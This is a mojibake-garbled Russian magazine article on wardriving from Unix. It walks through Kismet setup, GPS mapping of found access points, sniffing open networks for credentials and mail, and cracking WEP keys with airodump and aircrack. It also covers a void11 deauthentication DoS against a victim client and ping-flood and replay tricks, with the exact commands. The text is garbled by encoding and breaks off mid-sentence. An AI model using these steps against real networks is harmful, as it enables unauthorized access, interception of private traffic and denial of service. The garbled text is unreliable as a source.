àëüíî, òàê êàê íà ìíîãèõ âèäåîêàðòàõ
îíè èñêóññòâåííî çàíèæåíû. Ñàìà óòèëè-
òà èìååò àæ òðè èíòåðôåéñà êîìàíäíîé
ñòðîêè è äâà ãðàôè÷åñêèõ (äëÿ GTK+2 è
QT). Ïðè÷åì èíòåðôåéñ êîìàíäíîé ñòðî-

êè íàèáîëåå ïðèâëåêàòåëåí, òàê êàê ïîçâîëÿåò ïðîïèñàòü íåîáõî-
äèìóþ êîìàíäó â çàãðóçî÷íûå ñêðèïòû. Íàïðèìåð, òû ìîæåøü
çàïèñàòü â /etc/rc.d/rc.local êîìàíäó: "nvclock -n 250 -m 200", è ïðè
êàæäîé çàãðóçêå áóäóò óñòàíàâëèâàòüñÿ ÷àñòîòû: ÷èï � 250 ÌÃö 
è ïàìÿòü � 200 ÌÃö

èñïîëüçóåì gtf äëÿ ãåíåðàöèè ModeLine

òàê âûãëÿäèò òåñò ïðîèçâîäèòåëüíîñòè 3D
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[áåñïðîâîäíûå êàðòû âñåõ ìàñòåé] Åñëè òû îáëàäàòåëü íîóòáó-
êà ñ òåõíîëîãèåé Intel Centrino, òî ïîñïåøè îáíîâèòü ñâîþ ñèñòåìó äî àê-
òóàëüíîé âåðñèè (FreeBSD � äî 6.0 èëè CURRENT, OpenBSD � äî 3.8,
Linux � äî ïîñëåäíåãî ñòàáèëüíîãî 2.6 ÿäðà). Äåëî â òîì, ÷òî ýòè ñèñòå-
ìû íà÷àëè ïîëíîöåííî ïîääåðæèâàòü, ïîñòðîåííûå íà öåíòðèíîâñêîì
÷èïñåòå, êàðòû (Intel PRO/Wireless 2100 è 2200BG/2225BG/2915ABG)
ñðàâíèòåëüíî íåäàâíî. ×òî ïîíèìàåòñÿ ïîä «ïîëíîöåííîé» ïîääåðæ-
êîé? Çäåñü èìååòñÿ â âèäó èñïîëüçîâàíèå êàðòû â ðåæèìå Monitor mode.
Êàê èçâåñòíî, áåñïðîâîäíàÿ êàðòà îáÿçàíà óìåòü ðàáîòàòü, êàê ìèíè-
ìóì, â äâóõ ðåæèìàõ: BSS (Basic Service Set) aka Infrastructure, êîãäà
êëèåíò ïîäêëþ÷åí ê ñåòè ñ èñïîëüçîâàíèåì òî÷êè äîñòóïà (êàê ïðàâèëî,
áåñïðîâîäíûå ñåòè ñòðîÿòñÿ èìåííî ïî òàêîìó ïðèíöèïó), è IBSS
(Independent Basic Service Set) aka ad-hoc, êîãäà êëèåíò ïîäêëþ÷åí áåç
èñïîëüçîâàíèÿ òî÷êè äîñòóïà (ñâÿçü «òî÷êà-òî÷êà», íàïðèìåð, êîãäà íå-
îáõîäèìî ñâÿçàòü ïî ñåòè äâà êîìïüþòåðà, ÷òîáû îáìåíÿòüñÿ ôàéëàìè).
Ïðîáëåìà äëÿ âàðäðàéâåðà ñîñòîèò â òîì, ÷òî íè îäèí èç ýòèõ ðåæèìîâ
íå ïîäõîäèò äëÿ ëîâëè ïàêåòîâ è îáíàðóæåíèÿ òî÷åê äîñòóïà. Âåäü î÷å-
âèäíî, ÷òî â îáîèõ ñëó÷àÿõ êàðòà òàê èëè èíà÷å äîëæíà áûòü àññîöèèðî-
âàíà ñ ñåòüþ, è åå ïåðåâîä â promisc mode íå äàñò ìíîãî áîíóñîâ. Êàð-
òà äåéñòâèòåëüíî áóäåò ëîâèòü âñå ïàêåòû, íî òîëüêî àäðåñîâàííûå
âñåì êëèåíòàì êàêîé-ëèáî êîíêðåòíîé ñåòè (íà êîòîðóþ îíà íàñòðîåíà).
Äëÿ òîãî ÷òîáû ëîâèòü âñå 802.11-ôðåéìû, íî ïðè ýòîì íå áûòü àññîöè-
èðîâàííûì íè ñ îäíîé ñåòüþ, ñóùåñòâóåò ðåæèì ìîíèòîðà (Monitor mode).
Ïîääåðæêà äðàéâåðîì êàðòû ýòîãî ðåæèìà â Linux/BSD âî ìíîãîì îïðå-
äåëÿåòñÿ îòêðûòîñòüþ ñïåöèôèêàöèé íà êàðòó. Ïîëíîôóíêöèîíàëüíûå
äðàéâåðà ñóùåñòâóþò äëÿ êàðò íà ÷èïñåòå Prism-{II,2.5,3}, Orinoco, Atheros,
Ralink, Aironet. Intel'îâñêèå êàðòî÷êè ïîëó÷èëè ïîëíóþ ïîääåðæêó íå òàê
äàâíî («ðîäíîé» äðàéâåð äëÿ BSD-ñèñòåì «íàó÷èëñÿ» ýòîìó òîëüêî 22
ìàÿ ýòîãî ãîäà). Ê òîìó æå ëèöåíçèÿ íå ïîçâîëÿåò ñâîáîäíî ðàñïðîñòðà-
íÿòü çàãðóæàåìóþ ïðîøèâêó (firmware), íåîáõîäèìóþ äëÿ ðàáîòû ýòèõ
êàðò, òàê ÷òî ïîëüçîâàòåëÿì BSD-ñèñòåì ïðèäåòñÿ íàéòè åå ñàìèì, êàê è

óòèëèòó ipwcontrol(8) (â ñëó÷àå FreeBSD), ÷òîáû çàãðóçèòü ïðîøèâêó.
Âòîðàÿ ïî ñòåïåíè âàæíîñòè, ïîñëå äðàéâåðà, âîçìîæíîñòü êàðòû �
ïîäêëþ÷åíèå âíåøíåé àíòåííû. Íàâåðíîå, íè äëÿ êîãî íå ÿâëÿåòñÿ ñåê-
ðåòîì, ÷òî, èñïîëüçóÿ âíåøíþþ àíòåííó ñ êîýôôèöèåíòîì óñèëåíèÿ 8�
10 dBi (òàêèå àíòåííû ìîæíî ëåãêî êóïèòü çà $30�50), ìîæíî îáíàðó-
æèòü ñåòè â ãîðàçäî áîëüøåì ðàäèóñå, ÷åì åñëè áû èñïîëüçîâàëàñü
øòàòíàÿ âñòðîåííàÿ àíòåííêà. Íåêîòîðûå êàðòû èìåþò íà áîðòó ìà-
ëåíüêèé ðàçúåì, èìåíóåìûé Lucent MC, èëè ïðîñòî MC. Ñàìè àíòåííû
«äîìàøíåãî» ôîðìàòà (õîòÿ, êîíå÷íî, ìîæíî êóïèòü è ïðîìûøëåííóþ
outdoor-àíòåííó è âîäðóçèòü åå íà êðûøó àâòîìîáèëÿ) ÷àùå âñåãî êîìï-
ëåêòóþòñÿ ðàçúåìîì RP-SMA, òàê ÷òî, ïîìèìî êàðòû è àíòåííû, íåîáõî-
äèì ïåðåõîäíèê pigtail, êîòîðûé ìîæíî íàéòè íà ðàäèîðûíêå.

[kismet � êàê ìíîãî â ýòîì çâóêå!] Ãëàâíûé èíñòðóìåíò âàðäðàéâå-
ðà � ñêàíåð-äåòåêòîð áåñïðîâîäíûõ ñåòåé. À ãëàâíûé ñêàíåð äëÿ Unix-like
ñèñòåì � ýòî, áåçóñëîâíî, Kismet (www.kismetwireless.net). Îí ïîñòðîåí ñ
èñïîëüçîâàíèåì êëèåíò-ñåðâåðíîé àðõèòåêòóðû (ñåðâåð çàïóñêàåòñÿ íà îä-
íîé ìàøèíå, êëèåíòû ñ ãðàôè÷åñêèì èíòåðôåéñîì çàïóñêàþòñÿ ñ óäàëåí-
íûõ ìàøèí è ñîåäèíÿþòñÿ ñ ñåðâåðîì, îáðàáàòûâàÿ ïîëó÷åííóþ îò íåãî èí-
ôîðìàöèþ) è îáëàäàåò èñêëþ÷èòåëüíîé ôóíêöèîíàëüíîñòüþ. Kismet ìîæåò
áûòü èíòåãðèðîâàí è ñ äðóãèì ñîôòîì, òàêèì êàê IDS Snort èëè GPS-íàâè-
ãàòîð. Ïîìèìî âñåãî ïðî÷åãî, îí ïîääåðæèâàåò áîëüøîå êîëè÷åñòâî êàðò.

Ïåðåéäåì íåïîñðåäñòâåííî ê óñòàíîâêå (â ñëó÷àå FreeBSD):
$ cd /usr/ports/net-mgmt/kismet
# make install clean

Òåïåðü ïåðåä òåì êàê óãëóáèòüñÿ â íàñòðîéêè Kismet'à, óäåëèì âíèìàíèå
ïðèíöèïàì ðàáîòû ñêàíåðà. Kismet ïåðåâîäèò êàðòó â ðåæèìå Monitor è
íà÷èíàåò «ïðûãàòü» ïî êàíàëàì (channel hopping) â ïîèñêàõ áåñïðîâîä-
íîãî òðàôèêà. Ïîéìàâ ñèãíàë, ñêàíåð ëîâèò è îáðàáàòûâàåò áåñïðîâîä-

íûå ôðåéìû (àóòåíòèôèêàöèîííûå, èíôîðìàöèîííûå),
íà îñíîâå ÷åãî äåëàåò âûâîä î òèïå ñåòè, ïîääåðæêå
øèôðîâàíèÿ, SSID, ïðîèçâîäèòåëå òî÷êè äîñòóïà è ò.ä.
Àäðåñàöèÿ è íàëè÷èå êëèåíòîâ â ñåòè îïðåäåëÿåòñÿ ïå-
ðåõâàòîì äðóãîãî òèïà ôðåéìîâ � ôðåéìîâ äàííûõ. Òà-
êèì îáðàçîì, Kismet ðàáîòàåò â ïîëíîñòüþ ïàññèâíîì ðå-
æèìå, è ïîòîìó íå äàåò ñåáÿ îáíàðóæèòü.
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Ìîæíî ñ ãîðäîñòüþ ñêàçàòü, ÷òî Kismet ñïîñîáåí íàõîäèòü äàæå «ñêðû-
òûå» ñåòè. Ïîä «ñêðûòîé» ñåòüþ ïîíèìàåòñÿ òî÷êà äîñòóïà ñ îòêëþ÷åí-
íîé ôóíêöèåé Broadcast SSID. Ïî óìîë÷àíèþ AP ðàññûëàåò óïðàâëÿþ-
ùèå ôðåéìû (beacons), â êîòîðûõ ñîäåðæèòñÿ èíôîðìàöèÿ, â òîì ÷èñëå
è îá èäåíòèôèêàòîðå ñåòè. Â êà÷åñòâå ìåðû áåçîïàñíîñòè ìíîãèå âåí-
äîðû âêëþ÷àþò â ñâîè ïðîäóêòû âîçìîæíîñòü îòêëþ÷åíèÿ òàêîé ðàñ-
ñûëêè. Ïîëüçà îò ýòîãî äîâîëüíî ñîìíèòåëüíàÿ: êàê òîëüêî ëåãèòèìíûé
êëèåíò èíèöèèðóåò ïåðåäà÷ó äàííûõ, îí âñå ðàâíî «ñâåòèò» SSID, è
Kismet ìîæåò ñ ëåãêîñòüþ ýòî îáíàðóæèòü.
Íàñòðîéêà Kismet âåñüìà ïðîñòà. Â ìèíèìàëüíîì âàðèàíòå � óêàçàíèå ïîëü-
çîâàòåëÿ, ñ ïðàâàìè êîòîðîãî áóäåì çàïóñêàòü Kismet è äðàéâåðà êàðòû.

# vi /usr/local/etc/kismet.conf
suiduser=toxa

Çàïóñêàòü ñêàíåð ïîëíîñòüþ îò root íåáåçîïàñíî, âîò ïî÷åìó íàì ïîòðå-
áóåòñÿ óêàçàòü ïîëüçîâàòåëÿ, äî ïðàâ êîòîðîãî Kismet áóäåò ïîíèæàòü
ïðèâèëåãèè, ïîñëå òîãî êàê áóäåò çàïóùåí îò ðóòà.

source=radiotap_bsd_b,ath0,atheros

Èñïîëüçóåìûé äðàéâåð çàäàåòñÿ â ôîðìàòå «äðàéâåð,èìÿ_èíòåðôåé-
ñà,àëèàñ» è ïðåäïèñûâàåò ñêàíåðó çàãðóæàòü ñîîòâåòñòâóþùèå äðàéâå-
ðà äëÿ äàííîãî èíòåðôåéñà, à â äàëüíåéøåì îïåðèðîâàòü ñ ýòîé çà-
ïèñüþ ïîä îïðåäåëåííûì àëèàñîì. Îñíîâíàÿ ïëàòôîðìà ðàçðàáîòêè
Kismet � Linux, è, â ñëó÷àå èñïîëüçîâàíèÿ ýòîé ÎÑ, òèïîì êàðòû ìîæåò
áûòü prism2, orinoco, atheros, òî åñòü ëþáîé ïîääåðæèâàåìûé äðàéâåð
(îáðàòèñü íà ñòðàíèöó Kismet çà èíôîðìàöèåé).
Äëÿ BSD ñóùåñòâóåò óíèâåðñàëüíûé âðàïïåð ïîä íàçâàíèåì Radiotap. 
ß çàïóñêàþ Kismet íà FreeBSD, ïîòîìó è óêàçàë radiotap_bsd_b. Òàê êàê
êàðòî÷êà ó ìåíÿ íà ÷èïñåòå Atheros, òî è èíòåðôåéñ � ath0. Âñå ýòî íàç-

âàíî êàê atheros. Êñòàòè, ïîääåðæêà radiotap ïîÿâèëàñü ëèøü âî
FreeBSD 6.x/7.x, NetBSD-current è â OpenBSD, íà÷èíàÿ ñ âåðñèè 3.7. Îá
îáíîâëåíèè îïåðàöèîíêè ìû óæå ãîâîðèëè.

enablesources=atheros

Ýòà çàïèñü àêòèâèðóåò âûøåîïèñàííóþ êîíôèãóðàöèþ. Òàê, åñëè èñ-
ïîëüçóþòñÿ ðàçíûå êàðòû, ìîæíî óêàçàòü çàïèñè âèäà source è âêëþ-
÷àòü èõ ïî ìåðå íåîáõîäèìîñòè.
Â ïðèíöèïå, Kismet óæå ãîòîâ ê ðàáîòå. Íî ìû ïîéäåì äàëüøå. Â êà÷å-
ñòâå ðåàêöèè íà êàæäóþ íàéäåííóþ ñåòü ìû íàó÷èì Kismet øåäåâðàëü-
íûì ãîëîñîì ïðîèçíîñèòü âñþ èíôîðìàöèþ î ñåòè. Äëÿ ýòîãî ìû èíòåã-
ðèðóåì åãî ñ «ïðîãðàììîé-ãîâîðèëêîé» Festival.

$ cd /usr/ports/audio/festival
# make install clean
# vi /usr/local/etc/kismet.conf
speech=true
festival=/usr/local/bin/festival
speech_type=nato
speech_encrypted=New victim found, s.s.i.d. %s, channel %c, damn, it is
encrypted.
speech_unencrypted=New victim found, s.s.i.d. %s, channel %c,
woohoo, it is open.

Åñëè òðåáóåòñÿ ïåðåäàâàòü äàííûå íà âõîä äðóãîé ïðîãðàììå (íàïðè-
ìåð, IDS), ìîæíî âîñïîëüçîâàòüñÿ îïöèåé fifo.
Åùå îäíà èíòåðåñíàÿ âîçìîæíîñòü � èíòåãðàöèÿ ñ GPS. Èñêîëåñèâ
ïîëãîðîäà è îáíàðóæèâ íåñêîëüêî ñîòåí ñåòåé, áûëî áû ïîëåçíî ñîïîñ-
òàâèòü ãåîãðàôè÷åñêèå êîîðäèíàòû òî÷åê äîñòóïà ñ êàðòîé ãîðîäà, ÷òî-
áû çíàòü, êóäà âîçâðàùàòüñÿ ;). Äëÿ Unix-like ñèñòåì íàïèñàí ñïåöèàëü-
íûé äåìîí äëÿ îáùåíèÿ ñ GPS-óñòðîéñòâîì, gpsd (gpsd.sf.net). Âñå, ÷òî
òåáå íóæíî, � ýòî óñòðîéñòâî (ñ USB èëè Serial èíòåðôåéñîì), ïîääåð-
æèâàåìîå äåìîíîì gpsd. Âêëþ÷èòü ïîääåðæêó GPS â Kismet ìîæíî îï-
öèåé gps=true â kismet.conf. Äëÿ âèçóàëèçàöèè ïîëó÷åííîé èíôîðìàöèè
â ñîñòàâ Kismet âõîäèò óòèëèòà gpsmap. Îíà ñïîñîáíà îòîáðàæàòü
ìàðøðóò, çîíó ïîêðûòèÿ ñåòè, ñâåäåíèÿ î ñåòè è íàêëàäûâàòü âñå ýòî íà
êàðòó ìåñòíîñòè. Íåîáõîäèìûå êàðòû ìîæíî ñêà÷àòü èç Ñåòè.
Äîïóñòèì, âàðäðàéâåð ïðîêàòèëñÿ ïî ìåñòíîñòè, îáíàðóæèë áîëüøîå
êîëè÷åñòâî ñåòîê, è òåïåðü åìó õî÷åòñÿ ïîñìîòðåòü, ãäå ðàñïîëàãàëèñü
òî÷êè äîñòóïà ñ ïðèâÿçêîé ê êîíêðåòíîé êàðòå. Òîãäà îí çàïóñêàåò:

$ gpsmap -S 4 --metric GPSlog

Ôëàã -S îïðåäåëÿåò, îòêóäà gpsmap ïîïûòàåòñÿ ñòÿíóòü êàðòó ìåñòíîñ-
òè. Ôëàã -metric îáîçíà÷àåò, ÷òî gpsmap áóäåò ñêà÷èâàòü êàðòû â ìåòðè-
÷åñêîé ñèñòåìå (ïî óìîë÷àíèþ â íåì èñïîëüçóåòñÿ èçìåðåíèå â ìèëÿõ).
Èç îñòàëüíûõ âîçìîæíîñòåé gpsmap:

--draw-track � îòñëåæèâàíèå ìàðøðóòà âàðäðàéâåðà;
--draw-power-zoom � îòîáðàæåíèå ñèëû ñèãíàëà;
--draw-legend � îòîáðàæåíèå èíôîðìàöèè î ñåòÿõ.

Çàâåðøèâ íàñòðîéêè, ïåðåéäåì â êàòàëîã, îòêðûòûé íà çàïèñü
suiduser'ó, è çàïóñòèì Kismet:

$ cd /tmp
# kismet

Çàïóñòèòñÿ ñåðâåð (ïî óìîë÷àíèþ ñëóøàåò 127.0.0.1:2501), à çàòåì è
êëèåíò, êîòîðûé àâòîìàòè÷åñêè ïîäñîåäèíèòñÿ ê ñåðâåðó. Îáíàðóæåí-
íûå òî÷êè äîñòóïà òóò æå âûñâåòÿòñÿ ñî âñåé íåîáõîäèìîé èíôîðìàöè-
åé: èìÿ è òèï ñåòè, íàëè÷èå øèôðîâàíèÿ, êàíàë, êîëè÷åñòâî ïîéìàííûõ
ïàêåòîâ, IP-äèàïàçîí. Êëèåíò èìååò óäîáíûé êîíñîëüíûé ncurses-èíòåð-
ôåéñ. Îñíîâíûå êëþ÷è:

ee � âûâåñòè ñïèñîê ñåðâåðîâ Kismet 
(â íàøåì ñëó÷àå îí åäèíñòâåííûé, çàïóùåííûé ëîêàëüíî).

zz � óáðàòü âñå ïàíåëè, êðîìå ñïèñêà ñåòåé (÷òîáû íè÷åãî íå îòâëåêàëî ;).
Ïîâòîðíîå íàæàòèå âîçâðàùàåò ñïðÿòàííûå ïàíåëè.

mm � âêëþ÷èòü/âûêëþ÷èòü çâóê.
ss � îòñîðòèðîâàòü ñïèñîê ñåòåé. Ïî óìîë÷àíèþ íàéäåííûå ñåòè 

îòîáðàæàþòñÿ â ðåæèìå autofit. Ñîðòèðîâàòü ìîæíî ïî âðåìåíè 
ïîÿâëåíèÿ ñåòè, êîëè÷åñòâó ïàêåòîâ, èäåíòèôèêàòîðàì, 
ëèáî ñèëå ñèãíàëà.

ññ � óäîáíàÿ âîçìîæíîñòü ïðîñìîòðåòü âñåõ êëèåíòîâ ñåòè 
(ïîìèìî ïðî÷åãî, MAC-àäðåñ è IP-àäðåñ).

ñíèôàåì «áåñïðîâîäíîé» òðàôèê

ñïèñîê îáíàðóæåííûõ áåñïðîâîäíûõ ñåòåé





LL � âûêëþ÷èòü channel hopping, «çàëî÷èâ» åãî íà çàäàííîì êàíàëå. 
Òî åñòü íå èñêàòü ñåòè íà äðóãèõ êàíàëàõ.

HH � âåðíóòüñÿ ê ðåæèìó channel hopping.
ii � äåòàëüíàÿ èíôîðìàöèÿ ïî âûáðàííîé ñåòè.

Îáùàÿ èíôîðìàöèÿ î ñåòè ñîñòîèò èç èäåíòèôèêàòîðà (SSID), òèïà ñå-
òè (÷àùå âñåãî ýòî áóäåò A � Access Point), íàëè÷èÿ øèôðîâàíèÿ (W),
êàíàëà (Ch), äèàïàçîíà àäðåñîâ (IP Range), à òàêæå ðàçëè÷íûõ ôëàãîâ
(ïîäðîáíåå î íèõ ìîæíî ïðî÷åñòü âî âñòðîåííîé ïîäñêàçêå, êíîïêà h).
Êàæäàÿ ñåòü èìååò öâåòîâîå êîäèðîâàíèå, öâåò ñåòè îïðåäåëÿåòñÿ åå
íàñòðîéêàìè.
Ïî ñòàòèñòèå ÷àùå âñåãî âàðäðàéâåð îáíàðóæèâàåò «æåëòûå» è «êðàñ-
íûå» (ñîãëàñíî äåôîëòíîìó öâåòîâîìó êîäèðîâàíèþ Kismet) ñåòè � ýòî
ñåòè áåç øèôðîâàíèÿ è òî÷êè äîñòóïà ñ íàñòðîéêàìè ïî óìîë÷àíèþ (ó
êîòîðûõ íå èçìåíåí íè IP-àäðåñ, íè SSID!). Îáíàðóæèâ òàêèå ñåòè, âàðä-
ðàéâåð íå òóøóåòñÿ è ýíåðãè÷íî çàïóñêàåò îäèí èç ñàìûõ ïðîäâèíóòûõ
ñåòåâûõ ñíèôåðîâ/àíàëèçàòîðîâ ïðîòîêîëîâ, Ethereal:

$ cd /usr/ports/net/ethereal
# make install clean

Íàñòðîèâ ñíèôåð íà áåñïðîâîäíîé èíòåðôåéñ è óêàçàâ ïðîñòåéøèå
ôèëüòðû, ìîæíî ÷àñàìè ìåäèòèðîâàòü íà ïîòîê òðàôèêà, âûëàâëèâàÿ
«âêóñíûå» ïàêåòû ñ àóòåíòèôèêàöèîííûìè äàííûìè, ïî÷òîâóþ ïåðåïèñêó
è âñå òî, ÷òî ïîïàäàåò ïîä òåðìèí «êîíôèäåíöèàëüíàÿ èíôîðìàöèÿ» ;).
Íî íàñòîÿùèé âàðäðàéâåð, ñêîðåå âñåãî, íå áóäåò çàíèìàòüñÿ ïîäîáíû-
ìè âåùàìè. Äëÿ íåãî ïðåäñòàâëÿåò èíòåðåñ ñàì ôàêò îáíàðóæåíèÿ ñåòè
è âîçìîæíîñòü ê íåé ïîäêëþ÷èòüñÿ. Ïðàâäà, ìû æå íå õóëèãàíû êàêèå ;).
Äëÿ ïîäêëþ÷åíèÿ î÷åíü ïðèãîäèòñÿ íàïðàâëåííàÿ àíòåííà, áåç íåå ìî-
æåò âîçíèêíóòü íåïðèÿòíàÿ ñèòóàöèÿ, êîãäà ñåòü îáíàðóæåíà, è ïàêåòû
ïåðåõâàòûâàþòñÿ, à âîò ïîäêëþ÷èòüñÿ ìîùíîñòè ñèãíàëà íå õâàòàåò.

[êëþ÷ íà ñòàðò] Íî ÷òî äåëàòü, åñëè Kismet îêðàñèë ñåòü â çåëåíûé
öâåò, ÷òî îçíà÷àåò íàëè÷èå øèôðîâàíèÿ. Åñëè â ãðàôå W ñòîèò çíà÷å-
íèå Y � ýòî çíà÷èò, ÷òî ñåòü çàùèùåíà WEP'îì, ñîîòâåòñòâåííî, ìîæ-
íî ïîïûòàòüñÿ âçëîìàòü êëþ÷.
Êàê èçâåñòíî, â ïðîòîêîëå WEP (Wired Equivalent Privacy) ñóùåñòâóþò ôóí-
äàìåíòàëüíûå óÿçâèìîñòè (ïîäðîáíûé «ðàçáîð ïîëåòîâ» ìîæíî íàéòè â
ñòàòüå «Âîçäóøíûé äóðøëàã», X #2/2005), è ïîñëå èõ îáíàðóæåíèÿ ïîÿâè-
ëîñü ìíîæåñòâî óòèëèò, âçëàìûâàþùèõ êëþ÷ íà îñíîâå àíàëèçà ïåðåõâà-
÷åííûõ ïàêåòîâ. Âìåñòå ñ ìåòîäàìè âçëîìà ñîâåðøåíñòâîâàëèñü è óòèëè-
òû (ïåðâîå ïîêîëåíèå «âçëîìùèêîâ WEP», òàêèå ïðîãðàììû, êàê dwep-
dump è airsnort, òðåáîâàëè ÷óòü ëè íå ãèãàáàéòû òðàôèêà), ñàìûé ïðîäâèíó-
òûé è ñàìûé áûñòðûé àëãîðèòì âçëîìà ðåàëèçîâàí â íàáîðå óòèëèò aircrack

(www.cr0.net:8040/code/network/air-
crack/). Â ýòîò íàáîð âõîäÿò óòèëèòû
airodump äëÿ ñáîðà ïàêåòîâ, aireplay
äëÿ âíåäðåíèÿ ïàêåòîâ â ñåòü, air-
crack äëÿ íåïîñðåäñòâåííîãî âçëî-
ìà êëþ÷à è airdecap � áîíóñ äëÿ
ðàñøèôðîâêè WEP/WPA äàìïîâ.
Aircrack ðàáîòàåò ñóùåñòâåííî
áûñòðåå, ÷åì åãî ïðåäøåñòâåííè-
êè. Âçëîì êëþ÷à � ëèøü äåëî
âðåìåíè, äëÿ óñïåøíîé àòàêè íå-
îáõîäèìî íàêîïèòü äîñòàòî÷íîå

êîëè÷åñòâî ïàêåòîâ ñ âåêòîðàìè èíèöèàëèçàöèè (IV, âñþ òåîðèþ WEP
ìîæíî ïðî÷åñòü â âûøåóïîìÿíóòîé ñòàòüå). Òàê, aircrack'ó òðåáóåòñÿ
îêîëî 500000 ïàêåòîâ äëÿ âçëîìà 128-áèòíîãî êëþ÷à, ÷òî ñîñòàâëÿåò
íåñêîëüêî ÷àñîâ ðàáîòû õîðîøî çàãðóæåííîé áåñïðîâîäíîé ñåòè. Â
ïðîñòåéøåì ñëó÷àå ìîæíî ïðîñòî ïàññèâíî êîïèòü ïàêåòû, çàïóñòèâ
airodump. Ê ñîæàëåíèþ, airodump (êàê è aireplay) èñêëþ÷èòåëüíî
Linux-ñïåöèôè÷íû, è íå íàøëîñü ïîêà äîáðîâîëüöà ïîðòèðîâàòü ýòè
ïîëåçíûå óòèëèòû ïîä BSD.
Ëîâèì ïàêåòû íà îäèííàäöàòîì êàíàëå è ïèøåì äàìï â dumpfile:

# airodump eth1 dumpfile 11

À çàòåì íàòðàâëèâàåì íà äàìï aircrack:

$ aircrack dumpfile.cap

Çàìå÷ó, ÷òî aircrack óìååò âçëàìûâàòü íå òîëüêî WEP, íî è WPA-PSK
êëþ÷è. Åñëè ïàêåòîâ ñ IV ñîáðàíî äîñòàòî÷íî, ÷åðåç íåêîòîðîå âðåìÿ
aircrack ïîçäðàâèò òåáÿ íàäïèñüþ KEY FOUND!
Åäèíñòâåííàÿ ïðîáëåìà òàêîãî ïàññèâíîãî ìåòîäà � ïðîöåññ ìîæåò
èäòè î÷åíü ìåäëåííî. ×òîáû áûñòðåå âçëîìàòü êëþ÷, à çíà÷èò, íàêî-
ïèòü íåîáõîäèìîå êîëè÷åñòâî ïàêåòîâ ñ IV, íóæíî çàñòàâèòü ñåòü ãå-
íåðèðîâàòü òàêèå ïàêåòû. Åñëè èìååòñÿ äîñòóï ê êàêîé-íèáóäü ìàøè-
íå â ñåòè, ñàìûé äåéñòâåííûé ñïîñîá � óñòðîèòü ICMP-øòîðì êî-
ìàíäîé ping -f. Â òàêîì ñëó÷àå òðåáóåìîå êîëè÷åñòâî IV íàêàïëèâà-
åòñÿ çà ìèíóòû ;). Åñëè ïîäîáíîé âîçìîæíîñòè íåò, ñëåäóåò ïðèáåã-
íóòü ê áîëåå èçîùðåííûì ìåòîäàì.
Íàïðèìåð, ìîæíî çàñòàâèòü êëèåíòîâ áåñïðîâîäíîé ñåòè ãåíåðèðîâàòü
òðàôèê ïóòåì ïîñòîÿííîãî ïåðåïîäêëþ÷åíèÿ ê AP, òî åñòü óñòðîèòü òàê
íàçûâàåìóþ deauth attack. Ïîñûëàòü êëèåíòàì äåàóòåíòèôèêàöèîííûå
ôðåéìû áóäåì ñ ïîìîùüþ óòèëèòû Void11 (www.wlsec.net/void11/). Ýòà
òóëçåíêà ñïîñîáíà óñòðîèòü íàñòîÿùèé DoS, ôëóäÿ áåñïðîâîäíûå ñåòè
äåàóòåíòèôèêàöèîííûìè ïàêåòàìè. Êðîìå ýòîãî, îíà óìååò ôëóäèòü è
ñàì AP, ïîñûëàÿ åìó ïîääåëüíûå àóòåíòèôèêàöèîííûå çàïðîñû îò ðàç-
íûõ àäðåñîâ. È îïÿòü ñòîèò, ê ñîæàëåíèþ, óïîìÿíóòü, ÷òî ðàáîòàåò
Void11 òîëüêî ïîä Linux, ïðè÷åì äëÿ åãî ôóíêöèîíèðîâàíèÿ òðåáóåòñÿ
óñòàíîâèòü Linux HostAP äðàéâåð (hostap.epitest.fi).
Êàê òû ïîìíèøü, Kismet ìîæåò ïîêàçàòü íàì ñïèñîê êëèåíòîâ ñåòè. Íàì
ïîíàäîáÿòñÿ èõ MAC-àäðåñà, à òàêæå MAC-àäðåñ òî÷êè äîñòóïà. Ïîñëå
ýòîãî çàïóñêàåì Void11:

# iwconfig wlan0 mode master
# iwpriv wlan0 hostapd 1
# void11_penetration -D -s <MAC-àäðåñ êëèåíòà-æåðòâû> -B <MAC-àä-
ðåñ AP> wlan0

Ðåçóëüòàò ýòîé àòàêè � äåàóòåíòèôèêàöèÿ êëèåíòà, êîòîðûé âûíóæäåí
áóäåò ïîñòîÿííî ïîäêëþ÷àòüñÿ ê ñåòè, «ñâåòÿ» íóæíûìè íàì IV.
×òîáû íå ïðåâðàòèòü network â notwork, ìîæíî âîñïîëüçîâàòüñÿ áîëåå
«äæåíòåëüìåíñêèì» ñïîñîáîì � àòàêîé replay attack ñ èñïîëüçîâàíèåì
óòèëèòû aireplay, ëîâÿ ëåãèòèìíûå ïàêåòû è ïåðåïîñûëàÿ èõ ñíîâà è ñíîâà.

[ó âàñ âñÿ ñïèíà ñèíÿÿ] Ðàçóìååòñÿ, Wi-Fi ñåòÿìè áåñïðîâîäíûå øà-
ëîñòè íå îãðàíè÷èâàþòñÿ. Â ñëåäóþùèé ðàç ìû ïîãîâîðèì îá àðñåíàëå
þíèêñîèäà-áëþäæåêåðà è ïðåâðàòèì íàøó Unix-ñèñòåìó â ãðîçíîå îðó-
æèå îõîòíèêà çà ñèíèìè çóáàìè 
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èñïîëüçóåì àíàëèçàòîð ñåòåâûõ ïàêåòîâ tcpdump

ìîäíûé èíñòðóìåíò âàðäðàéâåðîâ





ÍÅÑÊÎËÜÊÎ ËÅÒ ÍÀÇÀÄ ÑÈÒÓÀ-
ÖÈß Ñ ÄÐÀÉÂÅÐÀÌÈ ÏÎÄ LINUX È
BSD ÁÛËÀ ÏÐÎÑÒÎ ÊÀÒÀÑÒÐÎÔÈ-
×ÅÑÊÎÉ. ÏÎÄÄÅÐÆÈÂÀËÎÑÜ
ËÈØÜ ÍÅÁÎËÜØÎÅ ÊÎËÈ×ÅÑÒÂÎ
ÓÑÒÐÎÉÑÒÂ, È ÆÅËÅÇÎ ÄËß UNIX-
ÌÀØÈÍ ÏÐÈÕÎÄÈËÎÑÜ ÇÀÊÓÏÀÒÜ
ÎÒÄÅËÜÍÎ. ÒÎÃÄÀ LINUX ÅÙÅ ÍÅ

ÂÛØÅË ÈÇ ÑÒÀÄÈÈ «ÊÎÍÑÒÐÓÊ-
ÒÎÐÀ» ÄËß ÕÀÊÅÐÎÂ, À BSD Â ÎÑ-
ÍÎÂÍÎÌ ÈÑÏÎËÜÇÎÂÀËÀÑÜ ÍÀ
ÑÅÐÂÅÐÀÕ, ÂÑÅ ÎÁÎÐÓÄÎÂÀÍÈÅ
ÊÎÒÎÐÛÕ ÑÂÎÄÈËÎÑÜ Ê ÑÅÒÅÂÎÉ
ÊÀÐÒÅ È SCSI-ÊÎÍÒÐÎËËÅÐÓ. ÄÎ
